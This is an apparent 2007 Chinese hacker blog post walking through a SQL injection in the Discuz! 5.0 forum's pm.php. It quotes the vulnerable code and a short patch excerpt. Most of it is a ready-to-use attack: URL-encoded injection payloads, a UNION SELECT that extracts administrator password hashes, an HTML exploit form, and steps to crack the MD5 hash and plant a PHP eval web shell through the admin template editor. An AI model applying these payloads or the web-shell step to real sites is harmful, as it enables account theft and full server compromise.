discuz!5.0  0Day IN My Eye
                    
By %5C


   我不知道关于这个
0day的分析有没有人写过,姑且作为华夏黑客联盟的原创吧。

一.关于0Day

    0Day的概念最早用于软件和游戏破解,属于非盈利性和非商业化的组织行为,其基本内涵是即时性”(Warez)。被许多人误认为是一个最大的软件破解组织,而实际上,Warez如黑客一样,只是一种行为。0Day也是。当时的0Day是指在正版软件或游戏发布的当天甚至之前,发布附带着序列号或者解密器的破解版,让使用者可以不用付费就能长期使用。因此,虽然Warez0Dday都是反盗版的重要打击对象,却同时受到免费使用者和业内同行的推崇。尽管 Warez0Day的拥护者对以此而谋利的盗版商不齿,但商业利益的驱动还是将破解行为的商业化推到了高峰。而眼下的0Day,正在对信息安全产生越来 越严重的威胁。
   
信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。正所谓看不见的才是最可怕的,这就是0Day的真正威胁。

二.Hello,World

Dz5.0漏洞是谁研究的,我不知道,但是我肯定这个家伙很细心。漏洞出在pm.php中。看如下几处重要地方:

if(empty($msgto) && is_array($msgtobuddys)) {

         $msgto = $msgtobuddys;

     } else {

         $msgtoid = 0;

         $query = $db->query("SELECT m.uid, m.username FROM {$tablepre}members m WHERE username='$msgto'");

         while($member = $db->fetch_array($query)) {

             if(!strcasecmp(addslashes($member['username']), $msgto)) {

                 $msgtoid = $member['uid'];

                 break;

             }

         }

/*如果$msgto为空,$msgto = $msgtobuddys

如果$msgto为非空,产生$msgtoid

……………..*/

         if(!$msgtoid) {

             showmessage('pm_send_nonexistence');

         }

/*若没有产生$msgtoid,则显示错误*/

         if(is_array($msgtobuddys)) {

             $msgto = array_merge($msgtobuddys, array($msgtoid));

         } else {

             $msgto = array($msgtoid);

         }

/*判断$msgtoduddys是否为数组,确定$msgto*/

……………(以下略)

$uids = $comma = '';

     foreach($msgto as $uid) {

             $uids .= $comma."'$uid'";

             $comma = ',';}

/*$uids数组以逗号割开*/

…………(以下略)

$ignorenum = 0;

     $query = $db->query("SELECT m.username, mf.ignorepm, u.maxpmnum FROM {$tablepre}usergroups u, {$tablepre}members m

         LEFT JOIN {$tablepre}memberfields mf USING(uid)

         WHERE m.uid IN ($uids) AND m.groupid=u.groupid");

/*SQL执行处,IN为范围操作*/

如果仅仅看到这里,也基本就清楚了,$uids来自于$msgto,$msgto来自于$msgtobuddysSQL中真正执行的是$uids,但是我们用户能提交的只有$msgtobuddys$msgtobuddys这个变量是从这个可以从抓包中看出的,另外也可以在pm.php的源代码中可以找到他msgtobuddys[]value=”xxxxx”的东西。至于网上有人说具体是哪个文件没过滤?并不准确,其实这一系列下来都没经过过滤。正好IN  ($uids)又给我们提供了一个好的注入平台。

那么我们可以利用了,利用NC提交一些类似如下的东西:

&msgtobuddys%5B%5D=1%29%20and%20left(m.password,1)%3D(0x32)/*(前面抓包部分略)

&msgtobuddys%5B%5D=1%29%20and%20mid(m.password,2,1)%3D(0x32)/*(前面抓包部分略)

…………来看看返回结果吧。当然你完全可以写个小的Perl程序来提交,不过这样很麻烦。

  记得我刚才只是说仅仅看到这里吗?呵呵,其实并没有结束。这个细心的家伙继续看下去了。

      $msgto_count = $db->num_rows($query);

      While($member = $db->fetch_array($query)) {

            if($member['maxpmnum'] < 1 || preg_match("/(^{ALL}$|(,|^)\s*".preg_quote($discuz_user, '/')."\s*(,|$))/i", $member['ignorepm'])) {

                showmessage('pm_send_ignore');)

 /*如果$nember[‘maxpmum’]<1或者$member[‘ignorepm’]包含一个正则表达式(如果正则表达式在“忽略列表”中得到匹配,则返回True

   Showmessage(‘pm_send_ignore’)返回一个错误。这是最精彩的内容*/

   其实这里应该是试探性的测试,我们可以试着构造一个“忽略列表”,看看返回什么内容。Bingle,返回的内容前面的提示名字几乎和{$tablepre}members.username匹配。如果是这样的话,完全可以用union select联合查询来暴出密码。我们完全可以构造如下语句,并用NC提交:

msgtobuddys%5B%5D=1%29%20union%20select%20password%2C0%2C0%20from%20cdb_members%20where%20uid%3D4%2F*(前面抓包部分略)

即:msgtobuddy[]=1) union select password,0,0 from cdb_members where uid=4/*

    抓包也一样可以完成这个任务,只是一些好心的朋友写了HTML的利用文件感觉挺好的。这里特地为华夏黑客同盟写一份专用的,由于时间比较仓促,随便写的,比较粗糙,不过新增加了个短信验证码功能。程序如下:

 1<html>
 2<head>
 3<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
 4<title>DZ 0Day华夏黑客同盟专用版</title>
 5</head>
 6
 7<FORM name=frm method=post target=_blank>Url: <INPUT     
 8size=45 name=act>
 9FormHash:<INPUT     
10size=8 name=formhash>&nbsp;<INPUT onclick="Javascipt:action=document.all.act.value+'/pm.php?action=send';frm.submit();" type=button value="提 交" name=Send><br><br>
11SQL:<INPUT     
12size=65 value='0) union select password,0,0 from cdb_members where uid=1/*'name=msgtobuddys[]>
13验证码:<input type="text" name="seccodeverify" size="5">(有验证码时填写,没有时保留空)
14<INPUT TYPE="hidden" NAME="pmsubmit" value="2">
15<input type="hidden" name="subject" value="test">
16<input type="hidden" name="message" value="test">
17<href=http://www.cnblogs.com/allyesno/>by %5C</a>
18</FORM>
19</html>
20

三.FlyMY Little Bird

恩,该到他飞翔的时候了,一般我不太喜欢做这样的事。应用方面很简单,按照上面的HTML上需要的内容找就可以了,其实这些都是用WinSock Expert抓包的时候必须发送的内容。不过你首先要注册一个能有权限发短消息的用户。具体步骤是:

1.填写URL:这个是论坛的地址。

2.FormHash:鼠标放到“清除COOKIES”上,可以看到,如图一:


图一

3. 找一个管理员的uid:这个很简单吧,新用户一般没有权限查看管理团队,不过管理员非常喜欢发些置顶的帖子,呵呵,直接去找吧。

4.  好了,这些设置完后,就直接点“发送”吧。如果你运气够好的话,会出现该UIDMD532位加密密码哦,如图二:


图二

如果该网站打过最新的DZ5.0补丁,一般会显示如下错误,那么就放弃或另辟蹊径吧。如图三:


图三

5如何破解MD5密码:可以去下载一个MD5ToolBox软件,或者直接在网站上破解www.xmd5.org,他是以三台计算机建立数据库的形式,大部分常用密码都能破解,而且速度极快。

6.进入后台后该干什么?一般都是进入论坛管理--à模块编辑----à详情--à修改wap.php。然后插入插入一段LankerPHP后门:<?php eval($_POST[cmd]);?>。连接地址为:/templates/default/wap.lang.php

四.Codz End

官方DZ5.0已经做过修改,补丁主要修改部分如下:

$uids = $comma = '';

        foreach($msgto as $uid) {

            if(!is_numeric($uid)) {

                showmessage('pm_send_invalid');

            } else {

                $uids .= $comma."'$uid'";

                $comma = ',';

            }

posted on 2007-03-21 12:28  %5C  阅读(356)  评论(0)    收藏  举报